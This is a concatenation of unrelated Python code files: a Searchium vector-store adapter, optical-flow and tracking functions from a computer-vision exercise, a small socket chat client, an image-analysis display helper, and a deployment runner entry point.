                    print("training of the dataset has started.")
                    searchium.train_dataset(self.dataset_id)
                    self.d_train = False

                    status = searchium.get_dataset_status(self.dataset_id).datasetStatus
                    while (status is DatasetStatus.TRAINING) or (status is DatasetStatus.PENDING):
                        status = searchium.get_dataset_status(self.dataset_id).datasetStatus
                        print(f"dataset status: {status} in progress, awaiting {status} completion.")
                        time.sleep(10)

                    print("dataset loading has started.")
                    searchium.load_dataset(self.dataset_id)
                    print("dataset loaded successfully.")
            except Exception as e:
                print(f"Error upserting batch: {e}")
                raise e
            finally:
                if self.lock.locked():
                    self.lock.release()
        return doc_ids

    async def _query(self, queries: List[QueryWithEmbedding]) -> List[QueryResult]:
        # TODO: Add support for filters.

        async def _single_query(query: QueryWithEmbedding) -> QueryResult:
            print(f"Query: {query.query}")
            try:
                response = searchium.search(self.dataset_id, [query.embedding], query.top_k)
                result = res = zip(response.distance[0], response.metadata[0])
            except Exception as e:
                print(f"Error querying index: {e}")
                raise e

            query_results: List[DocumentChunkWithScore] = []
            for distance_query, metadata_query in result:
                if metadata_query is None: continue
                meta_clean = (
                    {key: value for key, value in metadata_query.items() if key != "text"} if metadata_query else None)
                res_query = DocumentChunkWithScore(
                    id=metadata_query["chunk_id"],
                    score=distance_query,
                    text=metadata_query["text"] if metadata_query and "text" in metadata_query else None,
                    metadata=meta_clean
                )
                query_results.append(res_query)
            return QueryResult(query=query.query, results=query_results)

        results: List[QueryResult] = await asyncio.gather(
            *[_single_query(query) for query in queries]
        )

        return results

    async def delete(self, ids: Optional[List[str]] = None, filter: Optional[DocumentMetadataFilter] = None,
                     delete_all: Optional[bool] = None) -> bool:
        # TODO: Add support for filters.

        # delete all documents
        if delete_all:
            try:
                print(f"Deleting all vectors from index")
                searchium.delete_document(self.dataset_id, delete_all=True)
                print(f"Deleted all vectors successfully")
                self.d_train = True
                self.d_size = 0
                return True
            except Exception as e:
                print(f"Error deleting all vectors: {e}")
                raise e

        # delete by id's
        if ids is not None and len(ids) > 0:
            try:
                print(f"Deleting vectors with ids {ids}")
                searchium.delete_document(self.dataset_id, ids)
                print(f"Deleted vectors with ids successfully")
            except Exception as e:
                print(f"Error deleting vectors with ids: {e}")
                raise e
        return True

    def _get_searchium_metadata(self, metadata: Optional[DocumentChunkMetadata] = None) -> Dict[str, Any]:
        if metadata is None:
            return {}

        searchium_metadata = {}

        # For each field in the Metadata, check if it has a value and add it to the pinecone metadata dict
        # For fields that are dates, convert them to unix timestamps
        for field, value in metadata.dict().items():
            if value is not None:
                if field in ["created_at"]:
                    searchium_metadata[field] = to_unix_timestamp(value)
                else:
                    searchium_metadata[field] = value

        return searchium_metadata


import numpy as np
import os
from skimage.transform import pyramid_gaussian
from skimage.filters import sobel_h, sobel_v, gaussian
from skimage.feature import corner_harris, corner_peaks

def listdir(path, list_name):
    for file in os.listdir(path):
        file_path = os.path.join(path, file)
        if os.path.isdir(file_path):
            listdir(file_path, list_name)
        elif os.path.splitext(file_path)[1] == '.jpg':
            list_name.append(file_path)
    return list_name

def meanShift(dst, track_window, max_iter=100, stop_thresh=1):
    """meanShift tracking method.

    Args:
        dst - Backproject image
        track_window - (x,y,w,h).
        max_iter - the maximum iteration.
        stop_thresh - the stop thresh value.
    Returns:
        track_window - (x,y,w,h).
    """
    completed_iterations = 0
    while True:
        old_mean = track_window[:2]
        x, y, w, h = track_window

        x_min, x_max = x, min(x+w, dst.shape[1])
        y_min, y_max = y, min(y+h, dst.shape[0])
        center = np.zeros(shape=(2,))
        for y in range(y_min, y_max):
            for x in range(x_min, x_max):
                # TODO: use gaussian kernel to improve detection results
                center += np.multiply([x, y], dst[y, x])

        center /= np.sum(dst[y_min:y_max, x_min:x_max])
        center = np.round(center).astype(int)

        top_left = np.maximum(center - np.array([w//2, h//2]), 0)
        # print(dst.shape, top_left, y_min, y_max, x_min,
        #       x_max, dst[y_min:y_max, x_min:x_max].shape)

        track_window = np.array([*top_left, w, h])
        if np.linalg.norm(track_window[:2] - old_mean) < stop_thresh or completed_iterations == max_iter:
            print('.', end='', flush=True)
            return track_window
        completed_iterations += 1

def lucas_kanade(img1, img2, keypoints, window_size=9):
    """ Estimate flow vector at each keypoint using Lucas-Kanade method.

    Args:
        img1 - Grayscale image of the current frame. Flow vectors are computed
            with respect to this frame.
        img2 - Grayscale image of the next frame.
        keypoints - Keypoints to track. Numpy array of shape (N, 2).
        window_size - Window size to determine the neighborhood of each keypoint.
            A window is centered around the current keypoint location.
            You may assume that window_size is always an odd number.
    Returns:
        flow_vectors - Estimated flow vectors for keypoints. flow_vectors[i] is
            the flow vector for keypoint[i]. Numpy array of shape (N, 2).

    Hints:
        - You may use np.linalg.inv to compute inverse matrix
    """
    assert window_size % 2 == 1, "window_size must be an odd number"

    flow_vectors = np.zeros(shape=(len(keypoints), 2))
    w = window_size // 2

    # Compute partial derivatives
    Iy, Ix = np.gradient(img1)
    It = img2 - img1

    # For each [y, x] in keypoints, estimate flow vector [vy, vx]
    # using Lucas-Kanade method and append it to flow_vectors.
    for idx, (y, x) in enumerate(keypoints):
        # Keypoints can be loacated between integer pixels (subpixel locations).
        # For simplicity, we round the keypoint coordinates to nearest integer.
        # In order to achieve more accurate results, image brightness at subpixel
        # locations can be computed using bilinear interpolation.
        y, x = int(round(y)), int(round(x))

        A = np.hstack([np.ravel(Ix[y-w:y+w+1, x-w:x+w+1])[np.newaxis].T,
                       np.ravel(Iy[y-w:y+w+1, x-w:x+w+1])[np.newaxis].T])
        b = -np.ravel(It[y-w:y+w+1, x-w:x+w+1])
        v, _ = np.linalg.lstsq(A, b, rcond=None)[0]

        flow_vectors[idx] = v

    return flow_vectors

def iterative_lucas_kanade(img1, img2, keypoints,
                           window_size=9,
                           num_iters=5,
                           g=None):
    """ Estimate flow vector at each keypoint using iterative Lucas-Kanade method.

    Args:
        img1 - Grayscale image of the current frame. Flow vectors are computed
            with respect to this frame.
        img2 - Grayscale image of the next frame.
        keypoints - Keypoints to track. Numpy array of shape (N, 2).
        window_size - Window size to determine the neighborhood of each keypoint.
            A window is centered around the current keypoint location.
            You may assume that window_size is always an odd number.
        num_iters - Number of iterations to update flow vector.
        g - Flow vector guessed from previous pyramid level.
    Returns:
        flow_vectors - Estimated flow vectors for keypoints. flow_vectors[i] is
            the flow vector for keypoint[i]. Numpy array of shape (N, 2).
    """
    assert window_size % 2 == 1, "window_size must be an odd number"

    # Initialize g as zero vector if not provided
    if g is None:
        g = np.zeros(keypoints.shape)

    flow_vectors = []
    w = window_size // 2
    # Compute spatial gradients
    Iy, Ix = np.gradient(img1)

    for y, x, gy, gx in np.hstack((keypoints, g)):
        v = np.zeros(2)  # Initialize flow vector as zero vector
        y1 = int(round(y))
        x1 = int(round(x))

        Ix_w = Ix[y1-w:y1+w+1, x1-w:x1+w+1]
        Iy_w = Iy[y1-w:y1+w+1, x1-w:x1+w+1]

        G = np.array([[np.sum(Ix_w ** 2), np.sum(Ix_w * Iy_w)],
                      [np.sum(Ix_w * Iy_w), np.sum(Iy_w ** 2)]])

        try:
            G_inv = np.linalg.inv(G)
        except Exception as e:
            print(e, G)
            print(Ix_w, Iy_w)
            print(Ix.shape, y1, x1)
            flow_vectors.append(np.zeros(2))
            continue

        # print('G:', G)
        # print('G_inv:', G_inv)

        # iteratively update flow vector
        for k in range(num_iters):
            vx, vy = v
            # print('v:', v, 'g:', np.array([gx, gy]))
            # Refined position of the point in the next frame
            y2 = int(round(y+gy+vy))
            x2 = int(round(x+gx+vx))
            # print('p1:', np.array([x1, y1]), 'p2:', np.array([x2, y2]))

            I1 = img1[y1-w:y1+w+1, x1-w:x1+w+1]
            I2 = img2[y2-w:y2+w+1, x2-w:x2+w+1]

            if I1.shape != I2.shape:
                v = np.zeros(2)
                # print('Fix this: window out of bounds')
                break

            dIk_w = I1 - I2
            bk = np.array([np.sum(dIk_w * Ix_w),
                           np.sum(dIk_w * Iy_w)])
            vk = np.matmul(G_inv, bk)
            v += vk

        # print('done')
        flow_vectors.append(v)

    return flow_vectors

def pyramid_lucas_kanade(img1, img2, keypoints,
                         window_size=9, num_iters=5,
                         level=2, scale=2):
    """ Pyramidal Lucas Kanade method

    Args:
        img1 - same as lucas_kanade
        img2 - same as lucas_kanade
        keypoints - same as lucas_kanade
        window_size - same as lucas_kanade
        num_iters - number of iterations to run iterative LK method
        level - Max level in image pyramid. Original image is at level 0 of
            the pyramid.
        scale - scaling factor of image pyramid.

    Returns:
        d - final flow vectors
    """
    # Build image pyramids of img1 and img2
    pyramid1 = tuple(pyramid_gaussian(img1, max_layer=level, downscale=scale))
    pyramid2 = tuple(pyramid_gaussian(img2, max_layer=level, downscale=scale))

    # Initialize pyramidal guess
    g = np.zeros(keypoints.shape)

    for L in range(level, -1, -1):
        p = keypoints / (scale ** L)
        d = np.array(iterative_lucas_kanade(
            pyramid1[L], pyramid2[L], p, g=g, window_size=window_size, num_iters=num_iters))
        if L != 0:
            g = (g + d) / scale

    return g + d

def compute_error(patch1, patch2):
    """ Compute MSE between patch1 and patch2

        - Normalize patch1 and patch2
        - Compute mean square error between patch1 and patch2

    Args:
        patch1 - Grayscale image patch of shape (patch_size, patch_size)
        patch2 - Grayscale image patch of shape (patch_size, patch_size)
    Returns:
        error - Number representing mismatch between patch1 and patch2
    """
    assert patch1.shape == patch2.shape, 'Different patch shapes'

    v1 = patch1.ravel()
    v2 = patch2.ravel()

    # normalize vectors
    v1 = (v1 - np.mean(v1)) / np.std(v1)
    v2 = (v2 - np.mean(v2)) / np.std(v2)
    # compute MSE
    return np.sum((v1 - v2)**2) / v1.size

def track_features(frames, keypoints,
                   error_thresh=1.5,
                   optflow_fn=pyramid_lucas_kanade,
                   exclude_border=5,
                   **kwargs):
    """ Track keypoints over multiple frames

    Args:
        frames - List of grayscale images with the same shape.
        keypoints - Keypoints in frames[0] to start tracking. Numpy array of
            shape (N, 2).
        error_thresh - Threshold to determine lost tracks.
        optflow_fn(img1, img2, keypoints, **kwargs) - Optical flow function.
        kwargs - keyword arguments for optflow_fn.

    Returns:
        trajs - A list containing tracked keypoints in each frame. trajs[i]
            is a numpy array of keypoints in frames[i]. The shape of trajs[i]
            is (Ni, 2), where Ni is number of tracked points in frames[i].
    """

    kp_curr = keypoints
    trajs = [kp_curr]
    patch_size = 3  # Take 3x3 patches to compute error
    w = patch_size // 2  # patch_size//2 around a pixel

    for i in range(len(frames) - 1):
        I = frames[i]
        J = frames[i+1]
        flow_vectors = optflow_fn(I, J, kp_curr, **kwargs)
        kp_next = kp_curr + flow_vectors

        new_keypoints = []
        for yi, xi, yj, xj in np.hstack((kp_curr, kp_next)):
            # Declare a keypoint to be 'lost' IF:
            # 1. the keypoint falls outside the image J
            # 2. the error between points in I and J is larger than threshold

            yi = int(round(yi))
            xi = int(round(xi))
            yj = int(round(yj))
            xj = int(round(xj))
            # Point falls outside the image
            if yj > J.shape[0]-exclude_border-1 or yj < exclude_border or\
               xj > J.shape[1]-exclude_border-1 or xj < exclude_border:
                continue

            # Compute error between patches in image I and J
            patchI = I[yi-w:yi+w, xi-w:xi+w]
            patchJ = J[yj-w:yj+w, xj-w:xj+w]
            error = compute_error(patchI, patchJ)
            if error > error_thresh:
                continue

            new_keypoints.append([yj, xj])

        kp_curr = np.array(new_keypoints)
        trajs.append(kp_curr)

    return trajs

def IoU(bbox1, bbox2):
    """ Compute IoU of two bounding boxes

    Args:
        bbox1 - 4-tuple (x, y, w, h) where (x, y) is the top left corner of
            the bounding box, and (w, h) are width and height of the box.
        bbox2 - 4-tuple (x, y, w, h) where (x, y) is the top left corner of
            the bounding box, and (w, h) are width and height of the box.
    Returns:
        score - IoU score
    """
    x1, y1, w1, h1 = bbox1
    x2, y2, w2, h2 = bbox2
    score = 0
    # YOUR CODE HERE
    x_left, y_top = max(x1, x2), max(y1, y2)
    x_right, y_bottom = min(x1 + w1, x2 + w2), min(y1 + h1, y2 + h2)

    if x_right < x_left or y_bottom < y_top:
        return 0.0

    isct = (x_right - x_left) * (y_bottom - y_top)
    return float(isct) / (h1 * w1 + h2 * w2 - isct)


from Socket import Socket
from threading import Thread
import datetime

class Client(Socket):
    def __init__(self):
        super(Client, self).__init__()

    name = ''

    def set_up(self):
        self.name = input('Input your name: ')
        self.connect(('25.33.98.175', 55000))
        listen_msgs = Thread(target=self.listen_conn)
        listen_msgs.start()

        send_thread = Thread(target=self.send_all, args=(None,))
        send_thread.start()

    def listen_conn(self):
        while True:
            data = self.recv(2048)
            print(data.decode('utf-8'))

    def send_all(self, data):
        while True:
            data = input()
            time = datetime.time
            self.send(f'{self.name}: {data} [{time}]'.encode('utf-8'))

if __name__ == '__main__':
    client = Client()
    client.set_up()


#!/usr/bin/python3
def weight_average(my_list=[]):
    if len(my_list) <= 0:
        return 0
    res = 0
    d = 0
    for e in my_list:
        d += e[1]
        res += e[0] * e[1]
    return res / d


import matplotlib.pyplot as plt
from PIL import Image, ImageDraw
import numpy as np

def show_image_analysis(image_path, analysis):

    # Display the image
    fig = plt.figure(figsize=(16, 8))
    a = fig.add_subplot(1, 2, 1)
    img = Image.open(image_path)

    # Get the caption
    caption_text = ''
    if (len(analysis.description.captions) == 0):
        caption_text = 'No caption detected'
    else:
        for caption in analysis.description.captions:
            caption_text = caption_text + \
                " '{}'\n(Confidence: {:.2f}%)".format(
                    caption.text, caption.confidence * 100)
    plt.title(caption_text)
    # -----------------

    # Or

    # Get objects
    if analysis.objects:
        # Draw a rectangle around each object
        for object in analysis.objects:
            r = object.rectangle
            bounding_box = ((r.x, r.y), (r.x + r.w, r.y + r.h))
            draw = ImageDraw.Draw(img)
            draw.rectangle(bounding_box, outline='magenta', width=5)
            plt.annotate(object.object_property, (r.x, r.y),
                         backgroundcolor='magenta')

    # ------------------

    # Or

    # Get faces
    if analysis.faces:
        # Draw a rectangle around each face
        for face in analysis.faces:
            r = face.face_rectangle
            bounding_box = ((r.left, r.top),
                            (r.left + r.width, r.top + r.height))
            draw = ImageDraw.Draw(img)
            draw.rectangle(bounding_box, outline='lightgreen', width=5)
            annotation = 'Person aged approxilately {}'.format(face.age)
            plt.annotate(annotation, (r.left, r.top),
                         backgroundcolor='lightgreen')

    # ------------------

    # Remove the Axes and Show the image
    plt.axis('off')
    plt.imshow(img)

    plt.show()


# -*- coding: utf-8 -*-

import sys

from ..utils import set_logging
from .controller import Controller

def simple_reporter(unit_type, unit_name, unit_status, additional=None):
    """Prints status to stdout"""
    unit_name = unit_name.replace('_', ' ').capitalize()
    sys.stdout.write(
        '[{unit_type}] {unit_name}: {unit_status}\n'.format(**locals())
    )

def main(config_path, log_path=None, debug=False, timeout=None,
         reporter=simple_reporter, work_dir=None, remote_tmpdir=None,
         local_tmpdir=None):
    """This default main function can be used by project runner."""
    set_logging(logfile=log_path, loglevel='DEBUG' if debug else 'INFO')
    ctrl = Controller(config_path,
        work_dir=work_dir,
        local_tmpdir=local_tmpdir,
        remote_tmpdir=remote_tmpdir
    )
    ctrl.register_status_callback(reporter)
    ctrl.run_init(debug=debug, timeout=timeout)
    ctrl.run_deployment(debug=debug, timeout=timeout)
    ctrl.run_cleanup()